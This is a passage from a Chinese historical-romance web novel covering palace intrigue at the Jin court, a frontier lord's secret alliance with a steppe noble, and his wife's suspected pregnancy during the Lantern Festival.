万珍珠听着,没押醋。她对于马小莲的态度,从一而终。 马小莲这人,有话真说,不藏着掖着。 这般的小儿女,只是一时爱慕了一个人。她哪有错? 只能说赵济世真是人太好。 何况马小莲就是在万珍珠跟前多瞅几眼。一旦交心后,这立场好像也变了。 如此的小儿女,万珍珠不会怪。 “莫不成是驾了七彩祥云的大英雄。”万珍珠捂嘴笑一回。 “我懂了,原来我家二妹欢喜了英雄。”万珍珠执起了马小莲的手。 “嫂嫂懂了,往后替二妹保媒时,一定得替二妹保媒一桩好姻缘。那未来的妹婿一定得挑了一位大英雄。” 万珍珠这般一讲,马小莲的脸皮子是变得红通通。 “嫂嫂,您说甚呢。”马小莲嘴里这般小声的反驳。 可这反驳,真的无力。 让万珍珠一瞧,她懂了,太懂了。 “好妹妹,你脸皮薄了。”万珍珠说道:“要依嫂嫂说,这关系一辈子的大事。既然心中有主意,当然得告知亲人。也好让亲人能用心思的挑了合妹妹心意的良人。” 万珍珠不为打趣马小莲,她是真想跟马小莲交好。 马小莲是马义的亲妹妹。马义是赵济世的结拜二弟。 马小莲四舍五入的,那也算赵济世的妹妹。 在北镇,马小莲是本地长大的。那背后七拐八拐的肯定有许多亲戚。 这些全是人脉,万珍珠一定得拉拢好。毕竟赵济世的根底就在北镇。 自家的根基不经营好,岂不是坏菜。 夫妻一体,万珍珠本着用心思,那也得在北镇经营一番,一直保持了好形象。 如果有马小莲替万珍珠当一当嘴替。那就更好了。 万珍珠送了马小莲一些头面首饰。这不过外物。 更主要还是在合了马小莲的心思。 手帕交?那不全是。 万珍珠更想着拉拢了马小莲站她的阵营里。往后,也是感情更好些。 人在北镇,万珍珠人生地不熟。有相熟的带领一番。 万珍珠更能从另一个角度去认识北镇。不浮于表面,而是扎根下去。 前院,书房。 赵济世见了自己在北镇的旧识。此时,对方一身风霜而来。 那等风霜,乃是岁月磋磨而成。 “赵大人。” “称赵某一声大人,太见外了。挛鞮兄弟。” 赵济世见了的旧人乃是草原之辈。北镇里有中原人有胡人。 那些胡人就是南迁而来的。同时,赵济世自然也认识一些草原贵人。 挛鞮氏,便是草原贵姓。 “某来,是想跟赵兄弟结盟。”挛鞮大石讲了此来的用意。 他与赵济世是旧识,他信赵济世的为人。 “……”赵济世沉默片刻。 对于草原上的干系,赵济世一直在用心经营。 哪怕如此,有些关系还是不能摆在明面上的。 “挛鞮兄弟有大动作?”赵济世问道。非是大动作,如何需要结盟。 谁让北镇这位置太重要,一旦北击,也是出入草原如无物。 真有横兵在此,一扫北荒,那有地利。若添人和,从来是浩浩荡荡的形成大势。 “赵兄弟高见。”挛鞮大石笑道:“某准备行大事。” “……”赵济世的目光落在挛鞮大石身上,沉默片刻后,他道:“我信大石兄弟。” “大石兄弟,我心头,你还是当年的汉子。你既有言,我岂有不帮衬的道理。”赵济世这般说道。 “好。”挛鞮大石很高兴。 “某一旦争得汗位,必有重谢。”挛鞮大石拱手一礼道。 “重谢……”赵济世嚼了二字。 对于赵济世而言,他更想自己去拿了重谢。而不是让人施舍。 夺来的,立威而来的才更妥当。因为草原胡人,畏威而不怀德。 草原上更信奉了武力。那里的德,便是武德。 “我若想得大石兄弟的重谢,就太见外了。大石兄弟当知我的心思,从来是有言必讲,有言在先。”赵济世也坦坦荡荡一回。 至于相助了挛鞮大石。不过是因为赵济世很清楚。 挛鞮大石在其族中嘛,从来不是最势大的一方。 真是势大,挛鞮大石不会想跟着赵济世结盟。 要知道在挛鞮氏一族里,南边的大赵人还被称一声南蛮子。 对于中原人敢蔑称。赵济世要说不恨,那才有假。 杀一个威赫赫,赵济世倒想。可惜,大赵的国力嘛有限。 跟大晋争锋,大赵可是输家。如今是休养之中。 四面出击? 那也得趁势而为。真是自己四面出击,那是傻。 在大赵南边,跟大吴朝的交战。大赵赢了。 原由更简单,那是大赵天子李明弘在推动。这是帝王在立威。 李明弘想立了威望。如此,也是让站了帝王这一边的新贵们上位许多人。 赵济世就是沾上了光彩之辈。 在南边沾过光彩,在北边,赵济世一样想继续。 只能说赢了,太容易有路径依赖。 军功,从来没有嫌弃多的。赵济世只嫌弃太少。 区区县伯之位,赵济世觉得低了一点。 赵济世还盼着登上更高的位置。大赵的权利中枢在燕京都。 如果可以的话,赵济世也想风风光光的回去。 说甚的镇守北疆。如果可以的话,赵济世不是一定想吃了北镇的风雪。 那不是燕京都的风云变幻大,水太深,赵济世拿捏不准。这才退一步。 真是拿捏得住,赵济世岂会让步。他也想成为风云儿。 那是握一时风云,成为一代大人物。 晚间。 赵济世搂了妻子困觉。只是在困觉前,赵济世揽着妻子的腰。 赵济世嗅着一点馨香,说道:“珍珠妹妹,总有一天,我得让妹妹的浑江公主封号名符其实。” “……”万珍珠愣神片刻。 尔后,她笑了。万珍珠讲道:“我们夫妻一心。我跟济世哥哥心有灵犀一点通。” “济世哥哥,我也在努力呢。总有一天,那浑江郡的土地会是咱俩的,会是留给我们孩子们的基业。” 万珍珠肯定的说道。 一听枕边人这话,赵济世来了兴致。他的下巴抵在万珍珠的头顶。 赵济世伸手抚了妻子的背。 “原来珍珠妹妹跟我想的一样,都想要浑江郡的土地。” 赵济世在妻子跟前吐露心声。 夫妻二人的心思都是坦荡荡。二人谈话,说的真诚。 “北镇商社在北边,如今得力的很。珍珠妹妹辛苦了。”赵济世感慨。 “济世哥哥联络旧人,想借挛鞮氏的力量乱了草原,趁乱 起势,谋夺浑江郡。重掌旧日中原的北疆之土地。这是大英雄的做为。“万珍珠夸道。 在前朝,浑江郡是旧土。拿回来,那是名义俱全。 对于万珍珠而言,真盼着自家的根底越来越深厚。 做名符其实的浑江公主,万珍珠一直乐意的,一直盼着的。 夫妻二人揽一起,这会儿说至火热处,也是情到深处,情转浓。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝瞧着张昆的举报。他在沉默。至于旁边当差的万忠良。 万忠良更是沉默。其时万忠良很清楚,张昆的举报,那是他默许的。 若不然的话,淑阳公主的一点小动作瞒不住人。 或者说淑阳公主的心底,那想掀了王贤妃的底,让王贤妃倒台。 至于张昆? 张昆当然是死道友不死贫道。四皇子夭折,帝王伤心过甚。 这事情得有一个结果,谁来担责。一直照顾四皇子的张昆就是顶锅的领头羊。 可张昆不想死,张昆还想活。好死不如赖活着。 人活着才有希望。 于是张昆对于淑阳公主的挑拔,那真信了。 不信,也没有法子。 只有信了,让王贤妃去顶锅。张昆才可能脱身。 只能说,哪怕将来会得罪了三皇子。又如何? 这眼前过不了关,就没有将来。眼下能活着,那才是张昆祈求的一点要紧处。 于是张昆告发了王贤妃就成为顺理成章的事情。 至于万忠良默许,就更正常不过了。 王贤妃虽然没在四皇子一事上动手脚。不是王贤妃不想。 而是王贤妃不能。 泰和宫什么地方,万忠良可盯得紧。他一心盼着帝王好。 不止如此,便是皇嗣,万忠良也是差人在盯着。 四皇子没让王贤妃施暗手。可同样的,王贤妃的手上一样沾满了血腥味。 在宫廷内苑里,王贤妃真不是什么纯良善人。 哪怕表面上讲了体面,一样是两幅面孔。对着不同人,那是露了不一样的脸皮子。 “王氏……”洪福帝沉默片刻。 对于荣恩伯府嘛,帝王很不喜。或者说荣恩伯府也是出了好些的混账事。 那些人的错,帝王看了三皇子的薄面,也是容忍过一二。 可帝王的耐心有限。忍了一回,忍了二回,不代表忍了三回。 荣恩伯府吃过的排头,没什么委屈的。那不过是清了旧帐。 旧帐清了,哪有清干净的道理。不过是瞧在三皇子的体面上。 还是含糊了一些旧帐去。同时,便是王贤妃的一些不妥当。洪福帝也不会追究。 追究深了,洪福帝怕伤了三皇子的体面。不看僧面看佛面。 洪福帝很在乎了长子三皇子的脸面体统。 特别是如今的情况下,洪福帝就是一个亲儿子。 今年病一场,说是伤着根。 这根基受了损,洪福帝还在调养中。子嗣一事上,洪福帝有担忧的。 如此的情况下,三皇子的脸面就更要紧。帝王自然要替亲儿子多考虑一番。 “大伴。这事情你来办。”洪福帝吩咐一番。 “……”万忠良走上前,恭敬听了天子的吩咐。 洪福帝的态度很明确,张昆之言,全是糊话。 张昆这一个旧人,洪福帝不准备留了。 王贤妃那一边,洪福帝还是罚一回。说罚,也不算。 不过是拿了王贤妃的宫权。 王贤妃只是四妃之一,她不是皇后。管着宫权,也不过是洪福帝给的体面。 如今的洪福帝不想给了。 洪福帝给了王贤妃罚一场。罚掉了王贤妃在意的宫权。 宫廷内苑。 待王贤妃听明了圣意时,她就差一点,那就要倒下了。 人虽未倒,却也是让王嬷嬷搀扶着。 王贤妃的心情很坏。她不得宠,儿子又没有养在跟前。 于王贤妃而言,她能抓住的就是宫权。 越是想捏紧宫权,越是觉得权利的滋味太美妙。 如今失了宫权,对于王贤妃而言不压于损了大半条命。 一时之间,王贤妃觉得头疼,哪哪都疼。她是浑身不舒坦起来。 “娘娘,您是不是不舒服?”王嬷嬷瞧着王贤妃的额头冒虚汗。 王嬷嬷太担忧了,这害怕的,忙是准备让人请太医来。 “本宫无大碍,莫请太医来。”王贤妃打断了王嬷嬷的吩咐。 “娘娘,您的安危为重。”王嬷嬷还想再劝。 “陛下刚夺了本宫的宫权,本宫就病了。这不是让人非议了本宫不满圣意。”王贤妃给王嬷嬷解释一回。 王贤妃也怕王嬷嬷好心办坏事。 王嬷嬷一听,也是为难了。私心里,王嬷嬷觉得凭三皇子的体面,娘娘请太医,这真不是大事。 可一念着宫权被夺,这是伤了贤妃的体面。王嬷嬷又不敢多嘴。 倒底是天子的赫赫龙威,也是吓着王贤妃的跟前侍候宫人。 王贤妃被扫了台风尾。这一人不得意,自然就会有人得意起来。 这不,宫廷内苑又添了一位云昭仪。 云昭仪,曾经的云美人。这一位可是从宫人一步一步的爬上来。 得圣宠是必然的。 王贤妃不舒坦,还不敢请太医。就这当口,她听着王嬷嬷小心的禀了最新的宫廷消息。 “云氏做了昭仪,九嫔之一。”王贤妃就差一口银牙咬碎。 “陛下还让李贵妃、云昭仪二人一起协理宫务。”王贤妃知道洪福帝的最新安排后。 王贤妃有一点遭不住。 她的宫权被人给瓜分了。这让王贤妃喉头一点腥甜味涌出。 拿了帕子,捂了嘴巴。王贤妃擦拭一回唇角。 待拿开帕子时,王贤妃瞧见了帕子上的红艳艳血迹。 王嬷嬷也瞧着这一幕,王嬷嬷当场被吓住。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 大晋朝,镐京都,皇宫,职房。 万忠良得着干儿子禀上来的最新消息,听罢,他感慨一回道:“全都是命,半点不由人。” “咱知了。”万忠良摆摆手,示意干儿子继续当差。这事情他记着了。 万忠良这儿知道宫廷内苑的新消息,当然不会瞒了洪福帝。 于是洪福帝也知道了太医院诊出来的最新消息。 王贤妃病了,病的挺严重。 “陛下,您瞧,贤妃娘娘那儿……”万忠良仔细的寻问一下天子的意思。 “也是宫人递了话,贤妃娘娘还是盼了君恩。”万忠良替王贤妃说了一点好话。 这等薄面不是给王贤妃,而是王贤妃生的亲儿子三皇子。 洪福帝听罢,却道:“朕非太医,也不是良方。去不去的不要紧。让太医仔细些,替贤妃好好的调养。” “贤妃大安,朕有重赏。”洪福帝给出了自己的态度。 “陛下吩咐,奴才这差人去传旨。”万忠良赶紧应话。 应该替王贤妃说的好话,万忠良已经说了。 再劝? 那不可能的。万忠良怎么可能忤逆了洪福帝的心思。 万忠良当然会顺了帝王心思办事。 皇宫,宫廷内苑。 王贤妃重病,这事情瞒不住。应该知道的嫔妃们全知道了。 淑阳公主这儿,云昭仪来一趟。说是议了宫廷内苑的宫务。 实则嘛,云昭仪是为了王贤妃一事而来。 “好叫贵妃娘娘知晓。您请瞧瞧,贤妃娘娘的用度又超支了。”云昭仪满面的愁绪。 理所当然,全是装的。 对于云昭仪而言,她膝下无嗣。或者说曾经有过一个孩子,只是她没有保住。 如今的王贤妃瞧着,当然是被洪福帝嫌弃了,冷淡了。 那又如何呢? 王贤妃生育有三皇子,三皇子还是洪福帝膝下唯一安然养着的皇子。 云昭仪也打探过,三皇子身体康健,瞧着,那就是平平安安养着能长成的皇子。 三皇子不是止洪福帝目前唯一的儿子,还是健康的皇子。 说来说去,三皇子将来的前途不可限量。 在此等情况下,云昭仪没傻,她当然不可能去苛刻了未来的新君生母。 哪怕这三皇子成为新君,那只是可能。可这一份可能,目前瞧着,太有优势了。 云昭仪一提这话,淑阳公主的目光落在云昭仪的身上。 “这般说来,这事情妹妹是想让本宫管一管?”淑阳公主问道。 “娘娘您领头管了宫务,臣妾不过是协理。”云昭仪的态度摆的低。 “臣妾能辅佐一二,也是胆颤心惊。臣妾胆小,不敢妄言。”云昭仪是有事就想缩头。 原来那一个敢一舞搏命,搏一个锦绣前程的云氏,她 当然不是真胆小。 不过是如今穿了鞋子,不再是当初的光脚丫。 云昭仪也要称量一二,这称量一下李贵妃的份量。 如果李贵妃都不敢开罪了王贤妃。云昭仪肯定也要退避三舍。 不看僧面看佛面,看了三皇子的体面。王贤妃莫说用度超支。 便是王贤妃说话难听些,办些苛刻要求,再是奢侈过份些。云昭仪可以全当不知道。 又或者说,云昭仪还会开了方便之门。 宫廷内苑的用度,那花着皇家的钱财。又不是云昭仪的私房。 借着公家的钱,揽了自己私人的人脉,替自己办事。 云昭仪巴不得。能少一事,她当然不会多一事。 如今把这超支一事提出来,也是想着甩锅。 等将来,万一天子要差人查帐。 真是有黑锅,有李贵妃顶着。云昭仪也可从从容容的退一步。 云昭仪想得舒坦。可淑阳公主的性子,那就不是能忍的。 又或者说淑阳公主还想立一立威风。在宫廷内苑里,从来不是东风压倒西风,就是西风压了东风一头。 和睦相处,一团和气? 那从来是做戏,谁信,谁傻。 “这事情本宫再思量一二。”淑阳公主没当场给了明确的答案。 “总要验一验。妹妹说的,本宫当然信。只是确切如何,本宫还要查一个清楚。也好有了分寸,再行办事。”淑阳公主给了一个答案。 这答案挺含糊。说白了,淑阳公主也要看一下宫廷内苑的风向如何。 王贤妃重病,在此等情况下,淑阳公主又不能一板一眼儿的办事。 万一,那王贤妃这一回没熬过去。 一旦淑阳公主苛刻了病逝前的王贤妃,这真可谓是从天降黑锅。 没事,也是沾了天大的祸事。 淑阳公主可不想背黑锅。这不,拖一拖,再瞧一瞧风声。 这才是淑阳公主的想法。 大赵朝,北镇。 万珍珠瞧着北镇最近也是热闹起来,临近了年节。 万珍珠还是忙碌一番。 见一见父老乡亲们的女眷。这不是在北镇府上的小事。 而是真要到乡下去走一走,去瞧一瞧民间的疾苦。 万珍珠走一走,不是当了甩手掌柜。而是去收揽人心。 这不,应该给的年礼,应该按什么样的标准。 这些早早的有安排。 北镇分商社里,那应该采买一些什么。早早有清单。 如今货到,再是分一分,理清楚给各家些什么年货。 万珍珠不止自己安排,还是拉了马小莲一起参谋。 对此,马小莲干的可开心了。 对于替父老乡亲们谋福利的事情,马小莲不止干的舒坦。 她还是真心的感激了大嫂万氏。 对于这等收揽人心的事情,若往年,赵济世也一定不落下。 不过今年嘛,赵济世有事情忙碌。 于是出行一事,万珍珠就领了随从,又是领着马小莲这一个小尾巴一起。 至于赵济世,他神隐了。 “赵大哥真忙碌。”马小莲瞧着年节下,这还是不见踪影的赵大哥。她感慨一回。 “嫂嫂当家理事,您真是辛苦了。”马小莲是亲眼瞧着大嫂万氏的多番忙碌。 不止府里事,还有府外的事。这一位好嫂嫂忙前忙后。 那一番待父老乡亲们的好意,马小莲全部的瞧在眼中。 这不,马小莲自个都觉得原来的自己浅薄了。 她觉得往昔自己腹诽嫂嫂,真不应该,自己太坏了。 “这哪辛苦,不过是一府主母的本份事。”万珍珠笑了。 对于万珍珠而言,忙碌不可怕。可怕的是忙碌了没收获。 如今瞧着种了种子,收获的时节还不至。 可瞧着苗头好,万珍珠只有开心的道理。她没可能不开心。 至于夫君赵济世太忙碌了,夫妻二人聚少离多。 万珍珠更不在意。 因为她知道夫君在忙碌哪一些要紧的事情。 关乎军务,万珍珠不沾手。 可万珍珠是支持的。当初,夫妻二人的闺中谈话。 对于夫君想让她的浑江公主名符其实一事。 万珍珠全记着的。 就因为记着,万珍珠知道,她的枕边人也是一言九鼎的人物。 岂会信口开河?那可能是男子汉大丈夫,一个唾沫一个钉。 这事情总要办成。 那在办成前,又得费多少心血与功夫,万珍珠不思量,她都能大概猜测到,不容易,太不容易了。 万珍珠既然支持心上人,那当然就得挺到底。 半途而废不是万珍珠的性格,也不是枕边人的性格。 “我安坐于府上,锦衣华服,美味佳肴,一一享受着。这一切,也多依赖了夫君的本事。”万珍珠在马小莲跟前,那夸着话时,还是夸一夸枕边人。 “如此,我是太懂了二妹妹想嫁给一位英雄做新妇的理由。”万珍珠执起马小莲的手。 “这世道做女郎难,想做好贤妇更难。可落于贫家,不止自己苦,更要苦了子孙。倒不如嫁一英雄,让儿女享了富贵荣华。” 万珍珠说的坦荡。 投胎是一样技术活。这有利于自己孩子的事情,万珍珠当然觉得无可厚非。 “嫂嫂,这般话,您说了,我自是信了。只是让旁人听着,会不会蛐蛐着。说是贪念了荣华富贵。”马小莲小心的问道。 “哈哈哈……”万珍珠捂嘴笑一回。 “好妹妹,你这话就错了。”万珍珠讲道:“若有人真不爱富贵荣华,那去山里修道即可。来了尘世走一遭,岂能不沾了红尘滚滚的烟火气。” “依我本心讲,既然来了世间一遭,岂能不争了上游。如此,那才是不辜负自己的大好人生。” 万珍珠实话实说,她不怕羞于此。 “嫂嫂坦然,倒是我小性了。”马小莲瞧着这般模样的嫂嫂。 如今的马小莲是心服口服。 在马小莲心里,她真觉得这般的嫂嫂才配得上赵大哥。 如她一般的普通女子,想来是配不得赵大哥。 只嫂嫂讲透了她的心思,又让马小莲挺不好意思。 可嫂嫂的话,还是如春风,一一拂过了马小莲的心湖。还是荡起了波澜。 哪一个女郎春心萌动时,又岂会不爱慕了英雄。 马小莲当然是盼着未来的郎君是一位大英雄,大人物。 走进北镇的山山水水。冬日里,进了民家去拜亲。 这些不是嫡亲血脉,而是父老乡亲。 万珍珠亲至,那拉低了姿态吗?可能吧。 可万珍珠是乐意的。因为不止她自己想见识一下真正的北镇是什么模样。 还是万珍珠想替节度使的府邸里,那是充实一些人手。 一些小郎,如果父老乡亲们乐意。万珍珠这儿也愿意收养一些的。 不为旁的,只因为此时的人们生养颇多。 家资贫困者,这养孩子也是养得困难。一旦跟了新唐伯府,这前程不必再求,那就有了保证。 而对于新唐伯府而言,这些良家子,还是父老乡亲们知根知底的小郎,又是最好的心腹人选。 因为这些小郎有家有业,有亲人有盘根错节的关系网。 他们站了赵济世这一位新唐县伯这一边。代表了无数的家庭也是系在新唐县伯府的根系上。 这是北镇的民心,揽民心,亦是揽人心。 万珍珠虽然有一个公主的封号。可这公主是虚的。 万珍珠自己看得明白。 既然是虚号的公主,那就别真把自己当了皇家贵戚。 脚踏实地一点,这是万珍珠的想法,既然想了,那就干了。 有马小莲替万珍珠当嘴替,这一回的出行很顺利。 万珍珠能听见的,还是好听的话。 虽然这些父老乡亲们的吹捧,有时候可能太朴素一点。 可这一般的朴实,听着更暖人心。 因为他们不止说一说,他们是真信了新唐县伯府是替自家人说话的领头羊。 那发自内心的支持,落在了万珍珠心里,就是最好的助力。 商社能 挣钱财,可再多的钱,若是没了人心护持。 那又有什么用? 没人心与武力来护持的钱财,从来就是小儿持金入闹市,自取灭亡。 人心与武力,合二为一,其时就是权利。 权利,可以至上而下,也可以至下而上。 方法不重要,现实最重要。 大晋洪福十七年过,迎来十八年。 大晋朝的洪福十八年,即,大赵朝的承顺元年。 大晋朝,镐京都,皇宫,宫廷内苑。 明明是除旧迎新时,王贤妃没出席。她病得太利害。 刚过初三,宫廷内苑的新年节庆还没有散去。 还在新年新气象的时候。王贤妃殁了。 泰和宫。 洪福帝听着万大伴禀了消息,说王贤妃殁了时。 洪福帝愣神片刻,尔后,讲道:“着贵妃按妃礼制办贤妃身后事宜。” “唯。”万忠良赶紧应话。 瞧着洪福帝的态度,似乎待王贤妃是凉薄三分。 洪福帝的旨意很快到了淑阳公主这儿。淑阳公主是贵妃。 她虽跟贤妃一样是四妃之一,可她的排序在前。 如今要操办了贤妃的身后事宜。 淑阳公主不开心,可想着,这事情办好了。那宫务能拿捏的更通透。 淑阳公主也不拒绝。 反正替贤妃哭灵的不会是淑阳公主。贵妃排序在贤妃之前呢。 倒是宫廷内苑的其它嫔妃们,余下的人人有份,谁的位份都在贤妃之下。 那要替贤妃哭灵时,宫廷内苑的其余嫔妃,谁也不可能落下。 介于此,淑阳公主的心情又好上一点点。毕竟瞧旁人的不舒坦,淑阳公主的心情就会很舒坦。 王贤妃的身后事宜,哪怕依着妃位办理。还是铺张一回。 说白了,因为三皇子会替贤妃守灵。 三皇子一登场,那再是没牌面,也变了最大的牌面。 三皇子在许多人眼中,这真是金疙瘩。可谓是奇货可居。 洪福十八年,三皇子将满三岁生辰。 这一年的三皇子还太小,可这般小的皇子也懵懂一些事情。 哪怕不懂,对于生母过逝。听一听奶嬷嬷的耳语。 三皇子也有了自己的立场。 只到底年幼,三皇子不可能自己拿主意。因为他太小,他的主意,不如说是身边人的主意。 洪福帝对于唯一的儿子瞧得紧。这不,三皇子给生母的哭灵,也不过走一个过场。 尔后,有太医的交待,三皇子这儿就是简办一番。 千算万算,那肯定还是活着的三皇子更要紧。 至于什么守孝? 天子有安排,三皇子这儿当然只能一样法子,简办。 对于唯一的儿子,洪福帝看得跟眼珠子一般重要,捧着怕摔了,含着怕化了。 大赵朝,北镇,节度使府邸。 万珍珠瞧过家书,对于镐京都的爹娘很想念。 虽然她给爹娘送了年礼。可人不在近前,她思念了爹娘是否用饭香,近况又如何? “瞧我,如今也是多愁善感了。”万珍珠觉得这般多情的自己,真不像自己。 “珍珠妹妹心软。”赵济世给了自己的答案。 听着这一个答案,万珍珠愣神片刻。 扪心自问,万珍珠觉得她一点不心软。她更可能是称量一二。 在合适时,心软一下。在不合适时,她不会心软的。 “济世哥哥,你这话,我担不得啊。我哪心软,我不过是念着自家人。旁的,我可从来不会心软的。”万珍珠做人办事,那也画一个圈圈。 在圈子里的自家人,万珍珠是一幅脸孔。 在圈圈外的外人,万珍珠又是另一番的心态。 那态度从来是不一样的。 “自家人与外人,当然是不同的。”赵济世对于万珍珠的态度,他一直表示了赞同。 因为赵济世本人,那也是一样的态度。 自家人跟外人一样,那岂不是拿外人当了自家人? 赵济世可不是博爱之辈。 “济世哥哥,年节年庆之下,我们谈些开心的。”万珍珠笑道:“你尝尝,我可专门炖的羹汤,最补了。” 年节下,多吃一点好的。犒劳自家人嘛。 万珍珠一催,赵济世不拒绝。 只这般吃吃喝喝,不止节度使府上如此。家底稍好些的人家,在年节下,那是一样的用度,一样的大手大脚一回。 毕竟也是难得一回嘛,非是年节,寻常人家也会非常节省一些的。 冬日,夫妻一起相偎,赏了窗边雪景。瞧了天色冬寒。 明明寒风日,在屋内,却是感受了地龙的温暖。 这暖,也是暖在人心上。 “承顺元年,我可能会出塞。”赵济世跟妻子讲道。 “到时候我不在府上,珍珠妹妹又要辛苦些。”赵济世讲道。 “我的夫君是大英雄,自然有要紧的事情忙碌。我支持的很。”万珍珠话罢,她伸手,她执起夫君的手。 她细细的描摩了男人的掌纹,她又道:“只盼着济世哥哥平安无恙。” “我会算命的,瞧济世哥哥的掌纹。这是大富大贵,福禄双全,长命百岁的高寿之相。”万珍珠不是信口开河,她只是说了最美好的祝愿。 她只是盼着借吉言,能真的一话成真。 赵济世揽了妻子在怀里,他嗅着妻子身上的淡淡馨香。 “好啊,我一辈子长命百岁,高寿无量。珍珠妹妹也当如此。我们可是夫妻,要一起白头偕老。” 赵济世说了他的念想。他也盼着,夫妻同心,往后的余生,有一人相伴。 “下雪了。”赵济世说道。 “这雪真白。”万珍珠笑道。 “珍珠妹妹,我们去赏雪,如何?”赵济世问道。 “好啊。”万珍珠不拒绝。 当然,出了屋子前,二人换了衣裳。披了貂皮做的大氅。 赵济世瞧着这般模样的妻子,他笑道:“珍珠妹妹真好看。” “济世哥哥也俊朗无双。”二人相互的夸了一回。 走在雪景里,赵济世握了万珍珠的手。他的手拢着她的手。 赵济世的大袖里,二人的手交缠在一起。 赵济世能感受着,那小手的温暖。就像是妻子给的感觉一样,暖暖的,动人心。 “今朝同淋雪,一起共白头。”赵济世笑道。 听着这一番话,万珍珠也笑了。 承顺元年,元宵节。又是好风光。 为着这一天的节庆,哪怕是北镇的郡府,一样的办了花灯会。 灯会很美,长长的街道上,全是各色的灯笼点亮。 赵济世和万珍珠这一对夫妻也是赏了一回灯景。 走在长街上,一时举目,万珍珠有一种灯火阑珊处,有人相伴的感觉真好。 “我们去吃了馄饨吧。”万珍珠瞧着一处小铺子,她提了建议道。 赵济世没拒绝。 这北镇的馄饨,赵济世当然是喜欢的。毕竟他长于北镇,他喜爱这里的美食。 在馄饨铺子里,夫妻二人要了两小碗的吃食。 二人尝一个新鲜。 万珍珠咬一口小馄饨。她突然感受到了一股子的呕吐感。 不过,咽一咽,也便是咽下去了。 在心头,万珍珠在想着,莫不是吃坏了肚子? 又或者是凉寒季节,冻坏了胃口? 毕竟今个的节庆还是玩的开心,万珍珠不止赏了灯景。 白天时,她还玩了雪。 夫妻二人一道不止赏景,还是在梅林里摘了盛开的梅花。 顺道的捏一捏雪人,丢一丢雪球。 那会儿玩的开心,这会儿不就担忧是不是染了寒凉气。 “怎么不吃?”赵济世用吃食的速度很快。 赵济世吃好一小碗馄饨。万珍珠面前这一碗,那不说原封原样,也是差不离。 “刚才挺想吃,这会儿真贪嘴了,又发现肚子没饿着。”万珍珠嗔怪了自个。 一听这话,赵济世笑道:“你吃不下,可不能浪费了粮食。” “我替你吃吧。”赵济世话罢,拿过了妻子跟前的碗。 于是万珍珠就瞧见,她吃不下的馄饨,这会儿全进了枕边人的嘴里。 万珍珠瞧一瞧,心想,真是节俭了粮食吧?嗯,应当是的。 第72章 万珍珠瞧着丈夫吃的香,她支了胳膊仔细的瞧着。 一点点的温馨感觉犹然而生。 万珍珠这会儿瞧着很认真。赵济世吃饭的速度很快。 在快速的解决了吃食后,赵济世拿了帕子递给妻子。 “给。”赵济世笑道。 万珍珠接过来,她轻轻的拭一拭唇畔。尔后,她收下了枕边人的帕子。 接着万珍珠拿出了自己备的帕子,她伸手,她替对方拭一拭唇畔。 对于妻子的温柔,赵济世没有拒绝。这般的亲密,二人倒是坦然。 不过落于旁边的食客眼中,有些人倒是有一点咋舌了。 可万珍珠和赵济世不在意。赵济世唤来掌柜的,付过钱。 赵济世对万珍珠说道:“走吧,我们再逛一逛街,消消食。” “嗯。”万珍珠轻轻颔首,应一回。 二人走在长街,万珍珠想着刚才用馄饨时,那浮上来的一股子呕吐感。 万珍珠又算一算自己的小日子。 “济世哥哥,我们不逛街了,回府吧。”万珍珠讲道。 “怎么了?”赵济世瞧着妻子的神情,他瞧出来一点不自然,于是便问道。 万珍珠伸手,她抚了小腹。这会儿万珍珠不隐瞒自己的猜测。 “我的小日子迟了,今个,又似有所感。还得请丈夫诊一回平安脉。如此,才可能确诊我是否有了喜脉。”万珍珠说着自己的想法。 “……”赵济世愣在当场。 “喜脉。”赵济世呢喃二字。随即,他神色严肃起来。 “那我们回府吧。”赵济世同意了妻子的话。节度使府邸里有府医,回府后,传了府医请平安脉即可知道真实情况如何。 “……”万珍珠瞧着貌似平静的丈夫。 “济世哥哥,你走的方向,反了。”万珍珠瞧着拉住自己的手,似乎真的紧张着的丈夫说道。 “……”赵济世停住脚步。 “对,我走反了。”赵济世承认自己的错误。 谁让他可能要当爹了。凭生头一回当爹,这不是太欢喜了嘛。 万珍珠当然瞧出来,枕边人很兴奋。哪像脸上表现的淡然与严肃。 实则,这怕是压抑着情绪。不为旁的,只瞧着一时走错方向,这等事情也能闹错? 凭万珍珠对枕边人的了解。这能错,只一个可能。 枕边人是乐疯了,这压仰着才没有表现出来。 走到长街尾,在哪儿,有停好的马车。此时的赵济世仔细的扶着妻子上马车。 赵济世随后,也跟着进了车厢内。 唤来马夫,马车驶离了灯会处。哒哒的马蹄声响,马车往节度使府邸而去。 “珍珠妹妹,可有哪一处不舒服吗?”赵济世关切的问一回话道。 “我挺好的。济世哥哥,你不必太担忧。”万珍珠执住枕边人的手,她宽慰一回。 “我不担忧,我是太欢喜了。”赵济世说着自己的心情。 “哈哈哈……”万珍珠捂嘴笑一回。 笑着,万珍珠赶紧住了嘴。她捂了肚子,她感觉肚子有一点抽疼。 “笑太利害了,肚子遭不住。”万珍珠赶紧解释一回话。 万珍珠瞧着出来,枕边人很紧张。越紧张,那一张脸越严肃三分。 “那,你莫笑了。”赵济世说道:“要不,我替你抚一抚背,顺一顺气吧。” 此时此刻的赵济世在努力的做了温柔丈夫。 万珍珠很享受,她不拒绝。 夫妻二人在马车内,还是做了一些亲密的动作。 对于丈夫体贴,万珍珠全盘接受。 依偎在丈夫的怀中,万珍珠轻声细语的问道:“济世哥哥,我只是小日子迟了。万一,我说万一只是我的错觉,这没还上子嗣。你会不会太失望?” 赵济世听着这话,他替妻子抚背的手不停。动作依旧。 “不会失望,我们成婚的日子不算太久。子嗣一事,早早晚晚,全看缘分的。”赵济世嘴里这般说。 问他心中真正的想法,赵济世可能会失望吧。 只是赵济世他不讲出来。 因为大夫也说过,这怀孕一事,还需得夫妻二人努力。 真是心情太坏了,也不容易怀上子嗣。 想怀了子嗣,还要开开心心。这一快活,心情好了,子嗣缘分会更好。 如此,赵济世也不想让妻子心情变坏。二人一同造小人,那是开心快活过日子最要紧。 毕竟在赵济世的心里,他成婚的日子不算太久。 这压力还不算太大。 只是失望嘛,可能是因为有希望吧。如今的赵济世就是抱着希望的。 虽然说赵家如今就赵济世一个男丁,没族人可依。 可落赵济世的心里,他还是盼着开枝散叶,子孙满堂。 因为赵家没皇位等着继承,可赵家有新唐县伯的爵位。 赵济世还盼着儿子继承爵位,这爵位是赵济世奋斗好多年,那才奋斗得来的基业。 